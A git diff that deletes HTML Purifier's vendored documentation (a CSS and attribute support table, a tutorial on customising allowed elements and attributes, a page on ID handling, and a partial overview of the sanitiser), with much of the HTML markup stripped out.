    positionENUM(static, relative, absolute, fixed) - relative not absolute?
    z-indexDangerous
    Unknown
    background-imageDangerous
    background-attachmentENUM(scroll, fixed), - Depends on background-image
    background-positionDepends on background-image
    cursorDangerous but fluffy
    displayENUM(...), Dangerous but interesting; - will not implement list-item, run-in (Opera only) or table (no IE); - inline-block has incomplete IE6 support and requires -moz-inline-box - for Mozilla. Unknown target milestone.
    heightInteresting, why use it? Unknown target milestone.
    list-style-imageDangerous?
    max-heightNo IE 5/6
    min-height
    max-width
    min-width
    orphansNo IE support
    widowsNo IE support
    overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
    page-break-afterENUM(auto, always, avoid, left, right), - IE 5.5/6 and Opera. Unknown target milestone.
    page-break-beforeENUM(auto, always, avoid, left, right), - Mostly supported. Unknown target milestone.
    page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
    quotesMay be dropped from CSS2, fairly useless for inline context
    visibilityENUM(visible, hidden, collapse), - Dangerous
    white-spaceENUM(normal, pre, nowrap, pre-wrap, - pre-line), Spotty implementation: - pre (no IE 5/6), nowrap (no IE 5, supported), - pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
    Aural
    azimuth-
    cue-
    cue-after-
    cue-before-
    elevation-
    pause-after-
    pause-before-
    pause-
    pitch-range-
    pitch-
    play-during-
    richness-
    speak-headerTable related
    speak-numeral-
    speak-punctuation-
    speak-
    speech-rate-
    stress-
    voice-family-
    volume-
    Will not implement
    contentNot applicable for inline styles
    counter-incrementNeeds content, Opera only
    counter-resetNeeds content, Opera only
    directionNo support
    outline-colorIE Mac and Opera on outside, -Mozilla on inside and needs -moz-outline, no IE support.
    outline-style
    outline-width
    outline
    unicode-bidiNo support
    - -

    Interesting Attributes

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    AttributeTagsNotes
    CSS
    styleAllParser is reasonably functional. Status here doesn't count individual properties.
    Questionable
    accesskeyAMay interfere with main interface
    tabindexAMay interfere with main interface
    targetAConfig enabled, only useful for frame layouts, disallowed in strict
    Miscellaneous
    datetimeDEL, INSNo visible effect, ISO format
    relALargely user-defined: nofollow, tag (see microformats)
    revALargely user-defined: vote-*
    axisTD, THW3C only: No browser implementation
    charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
    headersTD, THW3C only: No browser implementation
    scopeTD, THW3C only: No browser implementation
    URI
    citeBLOCKQUOTE, QFor attribution
    DEL, INSLink to explanation why it changed
    hrefA-
    longdescIMG-
    srcIMGRequired
    Transform
    alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
    IMGSee specimens/html-align-to-css.html
    TABLE
    HR
    H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
    altIMGRequired, insert image filename if src is present or default invalid image text
    bgcolorTABLESuperset style 'background-color'
    TRSuperset style 'background-color'
    TD, THSuperset style 'background-color'
    borderIMGEquivalent style border:[number]px solid
    clearBRNear-equiv style 'clear', transform 'all' into 'both'
    compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
    dirBDORequired, insert ltr (or configuration value) if none
    heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
    hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
    lang*Copy value to xml:lang
    nameIMGTurn into ID
    ATurn into ID
    noshadeHRBoolean, style 'border-style:solid;'
    nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
    sizeHRNear-equiv 'height', needs px suffix if original was pixels
    srcIMGRequired, insert blank or default img if not set
    startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
    typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
    OL
    UL
    valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
    vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
    widthHRNear-equiv style 'width', needs px suffix if original was pixels
    TD, TH
    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd deleted file mode 100644 index e20c8959aa..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd +++ /dev/null @@ -1,1201 +0,0 @@ - - - - - -%HTMLlat1; - - -%HTMLsymbol; - - -%HTMLspecial; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-customize.html b/vendor/ezyang/htmlpurifier/docs/enduser-customize.html deleted file mode 100644 index 0849616c64..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-customize.html +++ /dev/null @@ -1,850 +0,0 @@ - - - - - - - -Customize - HTML Purifier - - - -

    Customize!

    -
    HTML Purifier is a Swiss-Army Knife
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has this quirk where if you try to allow certain elements or - attributes, HTML Purifier will tell you that it's not supported, and that - you should go to the forums to find out how to implement it. Well, this - document is how to implement elements and attributes which HTML Purifier - doesn't support out of the box. -

    - -

    Is it necessary?

    - -

    - Before we even write any code, it is paramount to consider whether or - not the code we're writing is necessary or not. HTML Purifier, by default, - contains a large set of elements and attributes: large enough so that - any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) - that can be safely used by the general public is implemented. -

    - -

    - So what needs to be implemented? (Feel free to skip this section if - you know what you want). -

    - -

    XHTML 1.0

    - -

    - All of the modules listed below are based off of the - modularization of - XHTML, which, while technically for XHTML 1.1, is quite a useful - resource. -

    - -
      -
    • Structure
    • -
    • Frames
    • -
    • Applets (deprecated)
    • -
    • Forms
    • -
    • Image maps
    • -
    • Objects
    • -
    • Frames
    • -
    • Events
    • -
    • Meta-information
    • -
    • Style sheets
    • -
    • Link (not hypertext)
    • -
    • Base
    • -
    • Name
    • -
    - -

    - If you don't recognize it, you probably don't need it. But the curious - can look all of these modules up in the above-mentioned document. Note - that inline scripting comes packaged with HTML Purifier (more on this - later). -

    - -

    XHTML 1.1

    - -

    - As of HTMLPurifier 2.1.0, we have implemented the - Ruby module, - which defines a set of tags - for publishing short annotations for text, used mostly in Japanese - and Chinese school texts, but applicable for positioning any text (not - limited to translations) above or below other corresponding text. -

    - -

    HTML 5

    - -

    - HTML 5 - is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed - in the wrong direction. It too is a working draft, and may change - drastically before publication, but it should be noted that the - canvas tag has been implemented by many browser vendors. -

    - -

    Proprietary

    - -

    - There are a number of proprietary tags still in the wild. Many of them - have been documented in ref-proprietary-tags.txt, - but there is currently no implementation for any of them. -

    - -

    Extensions

    - -

    - There are also a number of other XML languages out there that can - be embedded in HTML documents: two of the most popular are MathML and - SVG, and I frequently get requests to implement these. But they are - expansive, comprehensive specifications, and it would take far too long - to implement them correctly (most systems I've seen go as far - as whitelisting tags and no further; come on, what about nesting!) -

    - -

    - Word of warning: HTML Purifier is currently not namespace - aware. -

    - -

    Giving back

    - -

    - As you may imagine from the details above (don't be abashed if you didn't - read it all: a glance over would have done), there's quite a bit that - HTML Purifier doesn't implement. Recent architectural changes have - allowed HTML Purifier to implement elements and attributes that are not - safe! Don't worry, they won't be activated unless you set %HTML.Trusted - to true, but they certainly help out users who need to put, say, forms - on their page and don't want to go through the trouble of reading this - and implementing it themself. -

    - -

    - So any of the above that you implement for your own application could - help out some other poor sap on the other side of the globe. Help us - out, and send back code so that it can be hammered into a module and - released with the core. Any code would be greatly appreciated! -

    - -

    And now...

    - -

    - Enough philosophical talk, time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    // our code will go here
    -}
    - -

    - Assuming that HTML Purifier has already been properly loaded (hint: - include HTMLPurifier.auto.php), this code will set up - the environment that you need to start customizing the HTML definition. - What's going on? -

    - -
      -
    • - The first three lines are regular configuration code: -
        -
      • - %HTML.DefinitionID is set to a unique identifier for your - custom HTML definition. This prevents it from clobbering - other custom definitions on the same installation. -
      • -
      • - %HTML.DefinitionRev is a revision integer of your HTML - definition. Because HTML definitions are cached, you'll need - to increment this whenever you make a change in order to flush - the cache. -
      • -
      -
    • -
    • - The fourth line retrieves a raw HTMLPurifier_HTMLDefinition - object that we will be tweaking. Interestingly enough, we have - placed it in an if block: this is because - maybeGetRawHTMLDefinition, as its name suggests, may - return a NULL, in which case we should skip doing any - initialization. This, in fact, will correspond to when our fully - customized object is already in the cache. -
    • -
    - -

    Turn off caching

    - -

    - To make development easier, we're going to temporarily turn off - definition caching: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // TODO: remove this later!
    -$def = $config->getHTMLDefinition(true);
    - -

    - A few things should be mentioned about the caching mechanism before - we move on. For performance reasons, HTML Purifier caches generated - HTMLPurifier_Definition objects in serialized files - stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. - A lot of processing is done in order to create these objects, so it - makes little sense to repeat the same processing over and over again - whenever HTML Purifier is called. -

    - -

    - In order to identify a cache entry, HTML Purifier uses three variables: - the library's version number, the value of %HTML.DefinitionRev and - a serial of relevant configuration. Whenever any of these changes, - a new HTML definition is generated. Notice that there is no way - for the definition object to track changes to customizations: here, it - is up to you to supply appropriate information to DefinitionID and - DefinitionRev. -

    - -

    Add an attribute

    - -

    - For this example, we're going to implement the target attribute found - on a elements. To implement an attribute, we have to - ask a few questions: -

    - -
      -
    1. What element is it found on?
    2. -
    3. What is its name?
    4. -
    5. Is it required or optional?
    6. -
    7. What are valid values for it?
    8. -
    - -

    - The first three are easy: the element is a, the attribute - is target, and it is not a required attribute. (If it - was required, we'd need to append an asterisk to the attribute name, - you'll see an example of this in the addElement() example). -

    - -

    - The last question is a little trickier. - Lets allow the special values: _blank, _self, _target and _top. - The form of this is called an enumeration, a list of - valid values, although only one can be used at a time. To translate - this into code form, we write: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    - -

    - The Enum#_blank,_self,_target,_top does all the magic. - The string is split into two parts, separated by a hash mark (#): -

    - -
      -
    1. The first part is the name of what we call an AttrDef
    2. -
    3. The second part is the parameter of the above-mentioned AttrDef
    4. -
    - -

    - If that sounds vague and generic, it's because it is! HTML Purifier defines - an assortment of different attribute types one can use, and each of these - has their own specialized parameter format. Here are some of the more useful - ones: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeFormatDescription
    Enum[s:]value1,value2,... - Attribute with a number of valid values, one of which may be used. When - s: is present, the enumeration is case sensitive. -
    Boolattribute_name - Boolean attribute, with only one valid value: the name - of the attribute. -
    CDATA - Attribute of arbitrary text. Can also be referred to as Text - (the specification makes a semantic distinction between the two). -
    ID - Attribute that specifies a unique ID -
    Pixels - Attribute that specifies an integer pixel length -
    Length - Attribute that specifies a pixel or percentage length -
    NMTOKENS - Attribute that specifies a number of name tokens, example: the - class attribute -
    URI - Attribute that specifies a URI, example: the href - attribute -
    Number - Attribute that specifies an positive integer number -
    - -

    - For a complete list, consult - library/HTMLPurifier/AttrTypes.php; - more information on attributes that accept parameters can be found on their - respective includes in - library/HTMLPurifier/AttrDef. -

    - -

    - Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't - sweat: you can also use a fully instantiated object as the value. The - equivalent, verbose form of the above example is: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    - -

    - Trust me, you'll learn to love the shorthand. -

    - -

    Add an element

    - -

    - Adding attributes is really small-fry stuff, though, and it was possible - to add them (albeit a bit more wordy) prior to 2.0. The real gem of - the Advanced API is adding elements. There are five questions to - ask when adding a new element: -

    - -
      -
    1. What is the element's name?
    2. -
    3. What content set does this element belong to?
    4. -
    5. What are the allowed children of this element?
    6. -
    7. What attributes does the element allow that are general?
    8. -
    9. What attributes does the element allow that are specific to this element?
    10. -
    - -

    - It's a mouthful, and you'll be slightly lost if your not familiar with - the HTML specification, so let's explain them step by step. -

    - -

    Content set

    - -

    - The HTML specification defines two major content sets: Inline - and Block. Each of these - content sets contain a list of elements: Inline contains things like - span and b while Block contains things like - div and blockquote. -

    - -

    - These content sets amount to a macro mechanism for HTML definition. Most - elements in HTML are organized into one of these two sets, and most - elements in HTML allow elements from one of these sets. If we had - to write each element verbatim into each other element's allowed - children, we would have ridiculously large lists; instead we use - content sets to compactify the declaration. -

    - -

    - Practically speaking, there are several useful values you can use here: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content setDescription
    InlineCharacter level elements, text
    BlockBlock-like elements, like paragraphs and lists
    false - Any element that doesn't fit into the mold, for example li - or tr -
    - -

    - By specifying a valid value here, all other elements that use that - content set will also allow your element, without you having to do - anything. If you specify false, you'll have to register - your element manually. -

    - -

    Allowed children

    - -

    - Allowed children defines the elements that this element can contain. - The allowed values may range from none to a complex regexp depending on - your element. -

    - -

    - If you've ever taken a look at the HTML DTD's before, you may have - noticed declarations like this: -

    - -
    <!ELEMENT LI - O (%flow;)*             -- list item -->
    - -

    - The (%flow;)* indicates the allowed children of the - li tag: li allows any number of flow - elements as its children. (The - O allows the closing tag to be - omitted, though in XML this is not allowed.) In HTML Purifier, - we'd write it like Flow (here's where the content sets - we were discussing earlier come into play). There are three shorthand - content models you can specify: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content modelDescription
    EmptyNo children allowed, like br or hr
    InlineAny number of inline elements and text, like span
    FlowAny number of inline elements, block elements and text, like div
    - -

    - This covers 90% of all the cases out there, but what about elements that - break the mold like ul? This guy requires at least one - child, and the only valid children for it are li. The - content model is: Required: li. There are two parts: the - first type determines what ChildDef will be used to validate - content models. The most common values are: -

    - - - - - - - - - - - - - - - - - - - - - - -
    TypeDescription
    RequiredChildren must be one or more of the valid elements
    OptionalChildren can be any number of the valid elements
    CustomChildren must follow the DTD-style regex
    - -

    - You can also implement your own ChildDef: this was done - for a few special cases in HTML Purifier such as Chameleon - (for ins and del), StrictBlockquote - and Table. -

    - -

    - The second part specifies either valid elements or a regular expression. - Valid elements are separated with horizontal bars (|), i.e. - "a | b | c". Use #PCDATA to represent plain text. - Regular expressions are based off of DTD's style: -

    - -
      -
    • Parentheses () are used for grouping
    • -
    • Commas (,) separate elements that should come one after another
    • -
    • Horizontal bars (|) indicate one or the other elements should be used
    • -
    • Plus signs (+) are used for a one or more match
    • -
    • Asterisks (*) are used for a zero or more match
    • -
    • Question marks (?) are used for a zero or one match
    • -
    - -

    - For example, "a, b?, (c | d), e+, f*" means "In this order, - one a element, at most one b element, - one c or d element (but not both), one or more - e elements, and any number of f elements." - Regex veterans should be able to jump right in, and those not so savvy - can always copy-paste W3C's content model definitions into HTML Purifier - and hope for the best. -

    - -

    - A word of warning: while the regex format is extremely flexible on - the developer's side, it is - quite unforgiving on the user's side. If the user input does not exactly - match the specification, the entire contents of the element will - be nuked. This is why there is are specific content model types like - Optional and Required: while they could be implemented as Custom: - (valid | elements)*, the custom classes contain special recovery - measures that make sure as much of the user's original content gets - through. HTML Purifier's core, as a rule, does not use Custom. -

    - -

    - One final note: you can also use Content Sets inside your valid elements - lists or regular expressions. In fact, the three shorthand content models - mentioned above are just that: abbreviations: -

    - - - - - - - - - - - - - - - - - - -
    Content modelImplementation
    InlineOptional: Inline | #PCDATA
    FlowOptional: Flow | #PCDATA
    - -

    - When the definition is compiled, Inline will be replaced with a - horizontal-bar separated list of inline elements. Also, notice that - it does not contain text: you have to specify that yourself. -

    - -

    Common attributes

    - -

    - Congratulations: you have just gotten over the proverbial hump (Allowed - children). Common attributes is much simpler, and boils down to - one question: does your element have the id, style, - class, title and lang attributes? - If so, you'll want to specify the Common attribute collection, - which contains these five attributes that are found on almost every - HTML element in the specification. -

    - -

    - There are a few more collections, but they're really edge cases: -

    - - - - - - - - - - - - - - - - - - -
    CollectionAttributes
    I18Nlang, possibly xml:lang
    Corestyle, class, id and title
    - -

    - Common is a combination of the above-mentioned collections. -

    - -

    - Readers familiar with the modularization may have noticed that the Core - attribute collection differs from that specified by the abstract - modules of the XHTML Modularization 1.1. We believe this section - to be in error, as br permits the use of the style - attribute even though it uses the Core collection, and - the DTD and XML Schemas supplied by W3C support our interpretation. -

    - -

    Attributes

    - -

    - If you didn't read the earlier section on - adding attributes, read it now. The last parameter is simply - an array of attribute names to attribute implementations, in the exact - same format as addAttribute(). -

    - -

    Putting it all together

    - -

    - We're going to implement form. Before we embark, lets - grab a reference implementation from over at the - transitional DTD: -

    - -
    <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
    -<!ATTLIST FORM
    -  %attrs;                              -- %coreattrs, %i18n, %events --
    -  action      %URI;          #REQUIRED -- server-side form handler --
    -  method      (GET|POST)     GET       -- HTTP method used to submit the form--
    -  enctype     %ContentType;  "application/x-www-form-urlencoded"
    -  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
    -  name        CDATA          #IMPLIED  -- name of form for scripting --
    -  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
    -  onreset     %Script;       #IMPLIED  -- the form was reset --
    -  target      %FrameTarget;  #IMPLIED  -- render in this frame --
    -  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
    -  >
    - -

    - Juicy! With just this, we can answer four of our five questions: -

    - -
      -
    1. What is the element's name? form
    2. -
    3. What content set does this element belong to? Block - (this needs a little sleuthing, I find the easiest way is to search - the DTD for FORM and determine which set it is in.)
    4. -
    5. What are the allowed children of this element? One - or more flow elements, but no nested forms
    6. -
    7. What attributes does the element allow that are general? Common
    8. -
    9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; - we're going to do the vital ones: action, method and name
    10. -
    - -

    - Time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    -$form = $def->addElement(
    -  'form',   // name
    -  'Block',  // content set
    -  'Flow', // allowed children
    -  'Common', // attribute collection
    -  array( // attributes
    -    'action*' => 'URI',
    -    'method' => 'Enum#get|post',
    -    'name' => 'ID'
    -  )
    -);
    -$form->excludes = array('form' => true);
    - -

    - Each of the parameters corresponds to one of the questions we asked. - Notice that we added an asterisk to the end of the action - attribute to indicate that it is required. If someone specifies a - form without that attribute, the tag will be axed. - Also, the extra line at the end is a special extra declaration that - prevents forms from being nested within each other. -

    - -

    - And that's all there is to it! Implementing the rest of the form - module is left as an exercise to the user; to see more examples - check the library/HTMLPurifier/HTMLModule/ directory - in your local HTML Purifier installation. -

    - -

    And beyond...

    - -

    - Perceptive users may have realized that, to a certain extent, we - have simply re-implemented the facilities of XML Schema or the - Document Type Definition. What you are seeing here, however, is - not just an XML Schema or Document Type Definition: it is a fully - expressive method of specifying the definition of HTML that is - a portable superset of the capabilities of the two above-mentioned schema - languages. What makes HTMLDefinition so powerful is the fact that - if we don't have an implementation for a content model or an attribute - definition, you can supply it yourself by writing a PHP class. -

    - -

    - There are many facets of HTMLDefinition beyond the Advanced API I have - walked you through today. To find out more about these, you can - check out these source files: -

    - - - -

    Notes for HTML Purifier 4.2.0 and earlier

    - -

    - Previously, this tutorial gave some incorrect template code for - editing raw definitions, and that template code will now produce the - error Due to a documentation error in previous version of HTML - Purifier... Here is how to mechanically transform old-style - code into new-style code. -

    - -

    - First, identify all code that edits the raw definition object, and - put it together. Ensure none of this code must be run on every - request; if some sub-part needs to always be run, move it outside - this block. Here is an example below, with the raw definition - object code bolded. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - Next, replace the raw definition retrieval with a - maybeGetRawHTMLDefinition method call inside an if conditional, and - place the editing code inside that if block. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -}
    -$purifier = new HTMLPurifier($config);
    - -

    - And you're done! Alternatively, if you're OK with not ever caching - your code, the following will still work and not emit warnings. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - A slightly less efficient version of this was what was going on with - old versions of HTML Purifier. -

    - -

    - Technical notes: ajh pointed out on in a forum topic that - HTML Purifier appeared to be repeatedly writing to the cache even - when a cache entry already existed. Investigation lead to the - discovery of the following infelicity: caching of customized - definitions didn't actually work! The problem was that even though - a cache file would be written out at the end of the process, there - was no way for HTML Purifier to say, Actually, I've already got a - copy of your work, no need to reconfigure your - customizations. This required the API to change: placing - all of the customizations to the raw definition object in a - conditional which could be skipped. -

    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-id.html b/vendor/ezyang/htmlpurifier/docs/enduser-id.html deleted file mode 100644 index 9fb3536f80..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-id.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - -IDs - HTML Purifier - - - -

    IDs

    -
    What they are, why you should(n't) wear them, and how to deal with it
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Prior to HTML Purifier 1.2.0, this library blithely accepted user input that -looked like this:

    - -
    <a id="fragment">Anchor</a>
    - -

    ...presenting an attractive vector for those that would destroy standards -compliance: simply set the ID to one that is already used elsewhere in the -document and voila: validation breaks. There was a half-hearted attempt to -prevent this by allowing users to blacklist IDs, but I suspect that no one -really bothered, and thus, with the release of 1.2.0, IDs are now removed -by default.

    - -

    IDs, however, are quite useful functionality to have, so if users start -complaining about broken anchors you'll probably want to turn them back on -with %Attr.EnableID. But before you go mucking around with the config -object, it's probably worth to take some precautions to keep your page -validating. Why?

    - -
      -
    1. Standards-compliant pages are good
    2. -
    3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a - document, which spot does a browser presented with the fragment #foobar go - to? Most browsers opt for the first appearing ID, making it impossible - to references the second section. Similarly, duplicated IDs can hijack - client-side scripting that relies on the IDs of elements.
    4. -
    - -

    You have (currently) four ways of dealing with the problem.

    - - - -

    Blacklisting IDs

    -
    Good for pages with single content source and stable templates
    - -

    Keeping in terms with the -KISS principle, let us -deal with the most obvious solution: preventing users from using any IDs that -appear elsewhere on the document. The method is simple:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDBlacklist' array(
    -    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
    -));
    - -

    That being said, there are some notable drawbacks. First of all, you have to -know precisely which IDs are being used by the HTML surrounding the user code. -This is easier said than done: quite often the page designer and the system -coder work separately, so the designer has to constantly be talking with the -coder whenever he decides to add a new anchor. Miss one and you open yourself -to possible standards-compliance issues.

    - -

    Furthermore, this position becomes untenable when a single web page must hold -multiple portions of user-submitted content. Since there's obviously no way -to find out before-hand what IDs users will use, the blacklist is helpless. -And since HTML Purifier validates each segment separately, perhaps doing -so at different times, it would be extremely difficult to dynamically update -the blacklist in between runs.

    - -

    Finally, simply destroying the ID is extremely un-userfriendly behavior: after -all, they might have simply specified a duplicate ID by accident.

    - -

    Thus, we get to our second method.

    - - - -

    Namespacing IDs

    -
    Lazy developer's way, but needs user education
    - -

    This method, too, is quite simple: add a prefix to all user IDs. With this -code:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDPrefix', 'user_');
    - -

    ...this:

    - -
    <a id="foobar">Anchor!</a>
    - -

    ...turns into:

    - -
    <a id="user_foobar">Anchor!</a>
    - -

    As long as you don't have any IDs that start with user_, collisions are -guaranteed not to happen. The drawback is obvious: if a user submits -id="foobar", they probably expect to be able to reference their page with -#foobar. You'll have to tell them, "No, that doesn't work, you have to add -user_ to the beginning."

    - -

    And yes, things get hairier. Even with a nice prefix, we still have done -nothing about multiple HTML Purifier outputs on one page. Thus, we have -a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

    - -
    $config->set('Attr.IDPrefixLocal', 'comment' . $id . '_');
    - -

    This new attributes does nothing but append on to regular IDPrefix, but is -special in that it is volatile: it's value is determined at run-time and -cannot possibly be cordoned into, say, a .ini config file. As for what to -put into the directive, is up to you, but I would recommend the ID number -the text has been assigned in the database. Whatever you pick, however, it -has to be unique and stable for the text you are validating. Note, however, -that we require that %Attr.IDPrefix be set before you use this directive.

    - -

    And also remember: the user has to know what this prefix is too!

    - - - -

    Abstinence

    - -

    You may not want to bother. That's okay too, just don't enable IDs.

    - -

    Personally, I would take this road whenever user-submitted content would be -possibly be shown together on one page. Why a blog comment would need to use -anchors is beyond me.

    - - - -

    Denial

    - -

    To revert back to pre-1.2.0 behavior, simply:

    - -
    $config->set('Attr.EnableID', true);
    - -

    Don't come crying to me when your page mysteriously stops validating, though.

    - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt b/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt deleted file mode 100644 index f8d389b66d..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt +++ /dev/null @@ -1,59 +0,0 @@ - -HTML Purifier - by Edward Z. Yang - -There are a number of ad hoc HTML filtering solutions out there on the web -(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that -claim to filter HTML properly, preventing malicious JavaScript and layout -breaking HTML from getting through the parser. None of them, however, -demonstrates a thorough knowledge of neither the DTD that defines the HTML -nor the caveats of HTML that cannot be expressed by a DTD. Configurable -filters (such as kses or PHP's built-in striptags() function) have trouble -validating the contents of attributes and can be subject to security attacks -due to poor configuration. Other filters take the naive approach of -blacklisting known threats and tags, failing to account for the introduction -of new technologies, new tags, new attributes or quirky browser behavior. - -However, HTML Purifier takes a different approach, one that doesn't use -specification-ignorant regexes or narrow blacklists. HTML Purifier will -decompose the whole document into tokens, and rigorously process the tokens by: -removing non-whitelisted elements, transforming bad practice tags like -into , properly checking the nesting of tags and their children and -validating all attributes according to their RFCs. - -To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, -which allows an amazingly diverse mix of HTML and wikitext in its documents, -gets all the nesting quirks right. Existing solutions hope that no JavaScript -will slip through, but either do not attempt to ensure that the resulting -output is valid XHTML or send the HTML through a draconic XML parser (and yet -still get the nesting wrong: SafeHtmlChecker.class.php does not prevent -tags from being nested within each other). - -This document no longer is a detailed description of how HTMLPurifier works, -as those descriptions have been moved to the appropriate code. The first -draft was drawn up after two rough code sketches and the implementation of a -forgiving lexer. You may also be interested in the unit tests located in the -tests/ folder, which provide a living document on how exactly the filter deals -with malformed input. - -In summary (see corresponding classes for more details): - -1. Parse document into an array of tag and text tokens (Lexer) -2. Remove all elements not on whitelist and transform certain other elements - into acceptable forms (i.e. ) -3. Make document well formed while helpfully taking into account certain quirks, - such as the fact that

